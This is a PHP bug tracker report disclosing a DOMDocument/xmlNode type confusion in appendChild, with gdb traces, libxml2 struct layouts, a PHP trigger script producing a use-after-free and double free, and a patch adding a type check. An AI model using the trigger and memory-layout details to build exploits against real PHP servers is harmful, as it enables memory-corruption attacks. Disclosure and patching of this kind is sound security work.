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Bug #66551 xmlNode/xmlDoc type confusion via appendChild
Submitted: 2014-01-22 17:11 UTC Modified: 2014-02-03 18:55 UTC
Votes:1
Avg. Score:4.0 ± 0.0
Reproduced:1 of 1 (100.0%)
Same Version:0 (0.0%)
Same OS:1 (100.0%)
From: sean at persistencelabs dot com Assigned:
Status: Open Package: DOM XML related
PHP Version: master-Git-2014-01-22 (Git) OS:
Private report: No CVE-ID: None
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 [2014-01-22 17:11 UTC] sean at persistencelabs dot com
Description:
------------
Summary
-------
 
It is possible to append a DOMDocument object as the child of a DOM element,
resulting in the xmlDoc representing the document being treated as a regular
xmlNode.  By destroying the DOM element, and thus its children, the xmlDoc will
be freed without taking into account the fact that it may be referenced by
other DOM elements.

The outcome is that the xmlDoc is deallocated and a number of dangling pointers
to it may remain e.g. the document->ptr field of any dom_object instances that
have been created via the createElement method of the DOMDocument, prior to
triggering its destruction. The dangling pointers can be abused as in standard
use-after-free scenarios.

Impact
------

This bug results in one or more dangling pointers that can be leveraged to
create use-after-free and double free scenarios. Arbitrary code execution is
likely.

Patch Details
-------------

The attached patch checks the node passed to appendChild to ensure that its
type field is not XML_DOCUMENT_NODE. If it is then the function prints an error
and returns.

Bug Details
-----------

The trigger below demonstrates the issue. It is straightforward to add 
a document as a child to another DOM element.

$doc1 = new DOMDocument('1.0', 'UTF-8');
$a = $doc1->createElement('el_a');
$a->appendChild($doc1);

1. The document is created

(gdb) r /home/user/php/writeup/trigger_double_free.php 

Breakpoint 10, zim_domdocument___construct (ht=2, return_value=0xb7c4a198, return_value_ptr=0xb7c2e1a0, this_ptr=0xb7c4909c, return_value_used=0)
    at /home/user/php/ext/dom/document.c:1455

...

1468            docp = xmlNewDoc(version);
(gdb) n
1470            if (!docp) {
(gdb) p/x docp
$68 = 0x89603b8 

2. The xmlNode element is created

Breakpoint 16, zif_dom_document_create_element (ht=1, return_value=0xb7c49064, return_value_ptr=0xb7c2e170, this_ptr=0xb7c4909c, return_value_used=1)
    at /home/user/php/ext/dom/document.c:909

...

922             node = xmlNewDocNode(docp, NULL, name, value);
(gdb) 
923             if (!node) {
(gdb) p/x node
$69 = 0x8960440

3. The new element is linked to the same document as the DOMDocument
dom_object. After we trigger the deallocation of the xmlDoc we will be able to
access a dangling pointer to it via this field on any dom_object that was
created and linked to the DOMDocument.

Breakpoint 21, php_dom_create_object (obj=0x8960440, found=0xbfffb5a4, return_value=0xb7c49064, domobj=0xb7c4a170)
    at /home/user/php/ext/dom/php_dom.c:1430
1430                            intern->document = domobj->document;
(gdb) p/x domobj->document->ptr
$81 = 0x89603b8

4. The xmlDoc is appended to the list of children of the xmlNode

Breakpoint 11, zif_dom_node_append_child (ht=1, return_value=0xb7c49080, return_value_ptr=0xb7c2e140, this_ptr=0xb7c49064, return_value_used=0)
    at /home/user/php/ext/dom/node.c:1302

...

1310            DOM_GET_OBJ(nodep, id, xmlNodePtr, intern);

...

1316            DOM_GET_OBJ(child, node, xmlNodePtr, childobj);
(gdb) n
1318            stricterror = dom_get_strict_error(intern->document);
(gdb) p/x nodep
$70 = 0x8960440
(gdb) p/x child
$71 = 0x89603b8

Breakpoint 17, zif_dom_node_append_child (ht=1, return_value=0xb7c49080, return_value_ptr=0xb7c2e140, this_ptr=0xb7c49064, return_value_used=0)
    at /home/user/php/ext/dom/node.c:1383
1383                    new_child = xmlAddChild(nodep, child);
(gdb) p/x nodep
$72 = 0x8960440
(gdb) p/x child
$73 = 0x89603b8

After xmlAddChild returns, the xmlNode representing the element (0x8960440)
points to the xmlDoc (0x89603b8) via its children field.

(gdb) p/x ((xmlNode*)0x8960440)->children
$76 = 0x89603b8

It is now worth looking at the definitions of xmlNode and xmlDoc. They share a
number of common fields at the start of their definitions and this allows for
one to be treated as an instance of the other for many operations. 

File : libxml2-2.7.8/include/libxml/tree.h

450 struct _xmlNode {
451     void           *_private;   /* application data */
452     xmlElementType   type;      /* type number, must be second ! */
453     const xmlChar   *name;      /* the name of the node, or the entity */
454     struct _xmlNode *children;  /* parent->childs link */
455     struct _xmlNode *last;      /* last child link */
456     struct _xmlNode *parent;    /* child->parent link */
457     struct _xmlNode *next;      /* next sibling link  */
458     struct _xmlNode *prev;      /* previous sibling link  */
459     struct _xmlDoc  *doc;       /* the containing document */
460 
461     /* End of common part */
462     xmlNs           *ns;        /* pointer to the associated namespace */
463     xmlChar         *content;   /* the content */
464     struct _xmlAttr *properties;/* properties list */
465     xmlNs           *nsDef;     /* namespace definitions on this node */
466     void            *psvi;      /* for type/PSVI informations */
467     unsigned short   line;      /* line number */
468     unsigned short   extra;     /* extra data for XPath/XSLT */
469 };


File : libxml2-2.7.8/include/libxml/tree.h

512 struct _xmlDoc {
513     void           *_private;   /* application data */
514     xmlElementType  type;       /* XML_DOCUMENT_NODE, must be second ! */
515     char           *name;       /* name/filename/URI of the document */
516     struct _xmlNode *children;  /* the document tree */
517     struct _xmlNode *last;      /* last child link */
518     struct _xmlNode *parent;    /* child->parent link */
519     struct _xmlNode *next;      /* next sibling link  */
520     struct _xmlNode *prev;      /* previous sibling link  */
521     struct _xmlDoc  *doc;       /* autoreference to itself */
522 
523     /* End of common part */
524     int             compression;/* level of zlib compression */
525     int             standalone; /* standalone document (no external refs) 
526                                      1 if standalone="yes"
527                                      0 if standalone="no"
528                                     -1 if there is no XML declaration
529                                     -2 if there is an XML declaration, but no
530                                         standalone attribute was specified */
531     struct _xmlDtd  *intSubset; /* the document internal subset */
532     struct _xmlDtd  *extSubset; /* the document external subset */
533     struct _xmlNs   *oldNs;     /* Global namespace, the old way */
534     const xmlChar  *version;    /* the XML version string */
535     const xmlChar  *encoding;   /* external initial encoding, if any */
536     void           *ids;        /* Hash table for ID attributes if any */
537     void           *refs;       /* Hash table for IDREFs attributes if any */
538     const xmlChar  *URL;        /* The URI for that document */
539     int             charset;    /* encoding of the in-memory content
540                                    actually an xmlCharEncoding */
541     struct _xmlDict *dict;      /* dict used to allocate names or NULL */
542     void           *psvi;       /* for type/PSVI informations */
543     int             parseFlags; /* set of xmlParserOption used to parse the
544                                    document */
545     int             properties; /* set of xmlDocProperties for this document
546                                    set at the end of parsing */
547 };

The type field allows one to easily determine what object type they are
processing.  Most processing functions check this type and only perform their
action for nodes of the correct type. So, while we can treat the xmlDoc as an
xmlNode, by accessing it through the children of the xmlNode representing the
element el_a, the majority of functions do not then access the fields beyond the
common ones shared by both types as the type field is still XML_DOCUMENT_NODE
(9), not one of the ones they are designed to process e.g. XML_ELEMENT_NODE (1). 

Problems arise however when the xmlNode representing the element is destroyed.
This can be triggered by removing all references to the PHP variable. Before
doing this, we first create a second element. 

$b = $doc1->createElement('el_b');

This will result in the creation of another dom_object that will reference the
xmlDoc via the document->ptr field. This can be used as a dangling pointer
later, but more importantly it will also increment the reference count on the
xmlDoc.  This is necessary to avoid a crash during the destruction of el_a,
when dealing with system allocators that attempt to detect double-frees. 

If the second element is not created then the reference count on the xmlDoc
will be 1 i.e. the reference from el_a. When we trigger the destruction of el_a
it will first deallocate its children i.e. the xmlDoc. We will explain why this
occurs later. The destruction of el_a will then proceed. As part of this
process the reference count on its associated document will be decremented to 0
and then an attempt to free this document will occur.  As the document has
already been freed this will result in a double-free error check being
triggered without any opportunity for the attacker to intervene between the two
frees and prevent this outcome.

With the above reference created, the destruction of the xmlNode representing
el_a is triggered via $a = 0.  When this occurs, the xmlNode representing el_a
will be destroyed via php_libxml_node_free_resource. 

Breakpoint 18, php_libxml_node_free_resource (node=0x8960440) at /home/user/php/ext/libxml/libxml.c:1263
1263            if (!node) {
(gdb) bt 7
#0  php_libxml_node_free_resource (node=0x8960440) at /home/user/php/ext/libxml/libxml.c:1263
#1  0x080b0704 in php_libxml_node_decrement_resource (object=0xb7c4a4e4) at /home/user/php/ext/libxml/libxml.c:1308
#2  0x08172783 in dom_objects_free_storage (object=0xb7c4a4e4) at /home/user/php/ext/dom/php_dom.c:1102
#3  0x083a131a in zend_objects_store_del_ref_by_handle_ex (handle=2, handlers=0x8883760) at /home/user/php/Zend/zend_objects_API.c:226
#4  0x083a111a in zend_objects_store_del_ref (zobject=0xbfffb684) at /home/user/php/Zend/zend_objects_API.c:178
#5  0x08370418 in _zval_dtor_func (zvalue=0xbfffb684) at /home/user/php/Zend/zend_variables.c:54
#6  0x083a441d in zend_assign_const_to_variable (variable_ptr_ptr=0xb7c4a518, value=0xb7c4a8f4) at /home/user/php/Zend/zend_execute.c:883

Prior to freeing the xmlNode this will free all of its children. We can see
that the function does check if the node itself has the type XML_DOCUMENT_NODE,
but this check is not extended to its children prior to calling
php_libxml_node_free_list.

File : ext/libxml/libxml.c

1261 PHP_LIBXML_API void php_libxml_node_free_resource(xmlNodePtr node TSRMLS_DC)
1262 {
1263         if (!node) {
1264                 return;
1265         }
1266 
1267         switch (node->type) {
1268                 case XML_DOCUMENT_NODE:
1269                 case XML_HTML_DOCUMENT_NODE:
1270                         break;
1271                 default:
1272                         if (node->parent == NULL || node->type == XML_NAMESPACE_DECL) {
1273                                 php_libxml_node_free_list((xmlNodePtr) node->children TSRMLS_CC);

As discussed earlier, node->children for the xmlNode representing el_a points
to the xmlDoc. The call to php_libxml_node_free_list routes through to
php_libxml_node_free, which uses xmlFreeNode to perform the actual
deallocation.

File : ext/libxml/libxml.c

223 static void php_libxml_node_free_list(xmlNodePtr node TSRMLS_DC)
224 {
225         xmlNodePtr curnode;
226 
227         if (node != NULL) {
228                 curnode = node;
229                 while (curnode != NULL) {

...

260                         php_libxml_node_free(node);
261                 }
262         }
263 }

File : ext/libxml/libxml.c

184 static void php_libxml_node_free(xmlNodePtr node)
185 {
186         if(node) {
187                 if (node->_private != NULL) {
188                         ((php_libxml_node_ptr *) node->_private)->node = NULL;
189                 }
190                 switch (node->type) {

...

217                         default:
218                                 xmlFreeNode(node);
219                 }
220         }
221 }

File : libxml2-2.7.8/include/libxml/tree.h

3665 void
3666 xmlFreeNode(xmlNodePtr cur) {

...

3703     if ((cur->type != XML_ELEMENT_NODE) &&
3704         (cur->content != NULL) &&
3705         (cur->type != XML_ENTITY_REF_NODE) &&
3706         (cur->type != XML_XINCLUDE_END) &&
3707         (cur->type != XML_XINCLUDE_START) &&
3708         (cur->content != (xmlChar *) &(cur->properties))) {
3709         DICT_FREE(cur->content)
3710     }

...

3727     xmlFree(cur);
3728 }

xmlNodeFree assumes it is dealing with an xmlNode and as well as freeing the
node itself (line 3727), attempts to free a number of pointers that are
contained outside the common fields that are shared with the xmlDoc structure.
One such field that may be problematic is the xmlNode->content field, freed on
line 3709. On a 32-bit architecture this field overlaps with the standalone
field of a xmlDoc object. The defaut value for the standalone field is -1, thus
when cur->content is passed to free a segmentation fault occurs as it receives
the pointer 0xffffffff.

Fortunately, the standalone field of an xmlDoc can be easily modified. It can
take any value from the set [-1, 0, 1]. Thus, before destroying el_a the
trigger file contains the line $doc1->standalone = 0. When cur->content is
freed it will now produce a free(0) call , effectively a NOP when dealing with
libc. 

Once the free on line 3727 has completed the dom_object associated with el_b
references deallocated memory via its document->ptr field. This may be abused
in a number of ways, but the easiest way to see the effect is simply to let the
trigger script run until completion. When el_b is destroyed it holds the last
remaining reference to the document. Thus the document will be freed via
xmlFreeDoc. This routes through to the libc free function which detects the
double free as we have previously deallocated the document when we destroyed
el_a.

Program received signal SIGABRT, Aborted.
0xb7fdd424 in __kernel_vsyscall ()
(gdb) bt 18
#0  0xb7fdd424 in __kernel_vsyscall ()
#1  0xb7cb31df in __GI_raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#2  0xb7cb6825 in __GI_abort () at abort.c:91
#3  0xb7cf039a in __libc_message (do_abort=2, fmt=0xb7deb888 "*** glibc detected *** %s: %s: 0x%s ***\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:201
#4  0xb7cfaee2 in malloc_printerr (action=<optimised out>, str=<optimised out>, ptr=0x89603b8) at malloc.c:5039
#5  0xb7e72c41 in xmlFreeDoc__internal_alias (cur=0x89603b8) at ../../tree.c:1242
#6  0x080b0586 in php_libxml_decrement_doc_ref (object=0xb7c4a538) at /home/user/php/ext/libxml/libxml.c:1244
#7  0x080b073c in php_libxml_node_decrement_resource (object=0xb7c4a538) at /home/user/php/ext/libxml/libxml.c:1317
#8  0x08172783 in dom_objects_free_storage (object=0xb7c4a538) at /home/user/php/ext/dom/php_dom.c:1102
#9  0x083a131a in zend_objects_store_del_ref_by_handle_ex (handle=3, handlers=0x8883760) at /home/user/php/Zend/zend_objects_API.c:226
#10 0x083a111a in zend_objects_store_del_ref (zobject=0xb7c4a198) at /home/user/php/Zend/zend_objects_API.c:178
#11 0x08370418 in _zval_dtor_func (zvalue=0xb7c4a198) at /home/user/php/Zend/zend_variables.c:54
#12 0x08360fa6 in _zval_dtor (zvalue=0xb7c4a198) at /home/user/php/Zend/zend_variables.h:35
#13 i_zval_ptr_dtor (zval_ptr=0xb7c4a198) at /home/user/php/Zend/zend_execute.h:79
#14 _zval_ptr_dtor (zval_ptr=0xb7c4a580) at /home/user/php/Zend/zend_execute_API.c:427
#15 0x083800d9 in zend_hash_apply_deleter (ht=0x888653c, p=0xb7c4a574) at /home/user/php/Zend/zend_hash.c:626
#16 0x083804ee in zend_hash_reverse_apply (ht=0x888653c, apply_func=0x8360983 <zval_call_destructor>) at /home/user/php/Zend/zend_hash.c:780
#17 0x08360a08 in shutdown_destructors () at /home/user/php/Zend/zend_execute_API.c:217

EOF

Test script:
---------------
<?php
$doc1 = new DOMDocument('1.0', 'UTF-8');
$a = $doc1->createElement('el_a');
$a->appendChild($doc1);

// Increment the reference count on the xmlDoc to avoid triggering a
// double-free error check when $a is destroyed
$b = $doc1->createElement('el_b');

// ensure free(xmlNode->content) results in free(0)
$doc1->standalone = 0;
// Destroy a, and its child doc1
$a = 0;
?>


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History

AllCommentsChangesGit/SVN commitsRelated reports
 [2014-01-22 17:12 UTC] sean at persistencelabs dot com
From 647a0d12f802671f4c881ea9169ef1efa34e2343 Mon Sep 17 00:00:00 2001
From: Sean Heelan <sean@persistencelabs.com>
Date: Thu, 2 Jan 2014 21:15:52 +0000
Subject: [PATCH 1/1] Ensure that an XML_DOCUMENT_NODE cannot be added as a
 child.

---
 ext/dom/node.c |    5 +++++
 1 file changed, 5 insertions(+)

diff --git a/ext/dom/node.c b/ext/dom/node.c
index 3279567..b3ea555 100644
--- a/ext/dom/node.c
+++ b/ext/dom/node.c
@@ -1323,6 +1323,11 @@ PHP_FUNCTION(dom_node_append_child)
 		RETURN_FALSE;
 	}
 
+	if (child->type == XML_DOCUMENT_NODE) {
+		php_error_docref(NULL TSRMLS_CC, E_WARNING, "Cannot append document as child node");
+		RETURN_FALSE;
+	}
+
 	if (dom_hierarchy(nodep, child) == FAILURE) {
 		php_dom_throw_error(HIERARCHY_REQUEST_ERR, stricterror TSRMLS_CC);
 		RETURN_FALSE;
-- 
1.7.9.5
 [2014-02-03 18:53 UTC] stas@php.net
-Type: Security +Type: Bug -Package: *General Issues +Package: DOM XML related
 [2016-01-11 12:52 UTC] sean dot heelan at gmail dot com
Still present in PHP 7. Would it be possible to get the patch applied?
 
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